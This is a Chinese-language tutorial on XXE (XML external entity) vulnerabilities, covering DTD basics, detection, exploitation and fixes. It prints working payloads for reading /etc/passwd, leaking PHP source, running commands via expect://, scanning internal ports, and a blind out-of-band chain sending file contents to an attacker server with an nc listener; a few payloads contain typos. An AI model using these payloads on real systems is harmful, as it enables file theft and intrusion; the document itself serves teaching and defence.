[WEB安全]XXE漏洞总结

0x00 XML基础

在介绍xxe漏洞前，先学习温顾一下XML的基础知识。XML被设计为传输和存储数据，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。

0x01 XML文档结构

XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

由于xxe漏洞与DTD文档相关，因此重点介绍DTD的概念。

0x02 DTD

文档类型定义（DTD）可定义合法的XML文档构建模块，它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中（内部引用），也可作为一个外部引用。

1、内部声明DTD:

<!DOCTYPE 根元素 [元素声明]>

2、引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中有很多重要的关键字如下：

DOCTYPE（DTD的声明）
ENTITY（实体的声明）
SYSTEM、PUBLIC（外部资源申请）

0x03 实体

实体可以理解为变量，其必须在DTD中定义申明，可以在文档中的其他位置引用该变量的值。实体按类型主要分为以下四种：

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)

实体根据引用方式，还可分为内部实体与外部实体，看看这些实体的申明方式。

完整的实体类别可参考 DTD - Entities(https://www.tutorialspoint.com/dtd/dtd_entities.htm)

3.1 实体类别介绍

参数实体用%实体名称申明，引用时也用%实体名称;其余实体直接用实体名称申明，引用时用&实体名称。

参数实体只能在DTD中申明，DTD中引用；其余实体只能在DTD中申明，可在xml文档中引用。

（1）内部实体：

<!ENTITY 实体名称 "实体的值">

（2）外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

（3）参数实体：

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

（4）实例演示：除参数实体外实体+内部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "This is a xxe test!">]>
<foo>
<value>&name;</value>
</foo>

（5）实例演示：参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

注意：%name（参数实体）是在 DTD 中被引用的，而 &name（其余实体）是在xml文档中被引用的。

由于xxe漏洞主要是利用了 DTD 引用外部实体导致的漏洞，那么重点看下能引用哪些类型的外部实体。

3.2 外部实体外部实体即在DTD中使用

<!ENTITY 实体名称 SYSTEM "URI">

语法引用外部的实体，而非内部实体，那么URI中能写哪些类型的外部实体呢？

主要的有file、http、https、ftp等等，当然不同的程序支持的不一样：

实例演示:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<foo>
<value>&name;</value>
</foo>

0x04 XXE漏洞

XXE漏洞全称XML External Entity Injection

即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。

4.1 XXE漏洞检测

第一步检测XML是否会被成功解析：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>

如果页面输出了my name is nMask，说明xml文件可以被解析。

第二步检测服务器是否支持DTD引用外部实体：

<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>

可通过查看自己服务器上的日志来判断，看目标服务器是否向你的服务器发了一条请求test.xml的请求。

如果支持引用外部实体，那么很有可能是存在xxe漏洞的。

4.2 漏洞利用

xxe漏洞的危害有很多，比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等

4.2.1 读取任意文件

由于我是在windows上做的测试，因此让其读取c盘下的test.txt文件内容。

如果是linux下，可以读取/etc/passwd等目录下敏感数据。

以上任意文件读取能够成功，除了DTD可有引用外部实体外，还取决于有输出信息，即有回显。

4.2.2 获取页面源码

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>

返回的base64编码，即为index.php的源码

4.2.3 执行系统命令

在特殊的配置环境下，如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中，就能执行命令。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>

4.2.4 blind xxe漏洞

对于传统的XXE来说，要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

创建test.php写入以下内容：

<?php
file_put_contents("test.txt", $_GET['file']) ;
?>

创建index.php写入以下内容：

<?php
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % remote SYSTEM "http://localhost/test.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>

创建test.xml并写入以下内容：

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容，发送给攻击者服务器上的test.php，然后把读取的数据保存到本地的test.txt中。

0x05 寻找 XML 输入点

比如 Content-Type：text/xml, post 的数据包含 XML 格式，如：

<forgot><username>admin</username></forgot>

请求头中添加 Content-Type：text/xml 或 Content-type:application/xml

同时，POST 中添加 payload :

#任意文件读取(有回显)
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
#无回显的情况，使用外带数据通道提取数据，先用 file:// 或 php://filter 获取目标文件的内容，然后将内容以 http 请求发送到接收数据的服务器（攻击服务器）：
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
#evil.dtd的内容：(内部的 % 号要进行实体编码成 %)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37 send SYSTEM 'http://ip:9999?p=%file;'>">
#最后用nc进行本地监听
nc -lvv 9999
#命令执行 ( PHP 要开启 PECL 上的 Expect 扩展）
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "expect://whoami">
]>
#测试后端服务器的开放端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY portscan SYSTEM "http://192.168.1.5:3389">
]>
#通过返回的 “Connection refused” 可以知道该 81 端口是 closed 的，而 80 端口是open的

0x06 XXE漏洞修复与防御

6.1 禁用外部实体

PHP：

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python：

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

6.2 过滤用户提交的XML数据

过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC。

0x07 参考链接

https://www.cnblogs.com/-zhong/p/11194080.html

https://www.cnblogs.com/r00tuser/p/7255939.html#top

https://blog.csdn.net/Fly_hps/article/details/85228722

https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==&mid=2247489349&idx=1&sn=ab435be65bc6c35a21ea4bd040693d8c&source=41#wechat_redirect

https://mp.weixin.qq.com/s?__biz=MzIwMDY0ODI5Mw==&mid=2247490379&idx=1&sn=d6039c1afbaa55508eec82bbbb94e0b0&chksm=96f8a841a18f2157b60ed90e256bd9ed6dfd88a6ff62a48f8553ee4b2e8293026b63e94e000d&mpshare=1&scene=23&srcid=&sharer_sharetime=1567525313098&sharer_shareid=d32981e13d51bf06188894426d2a54e5#rd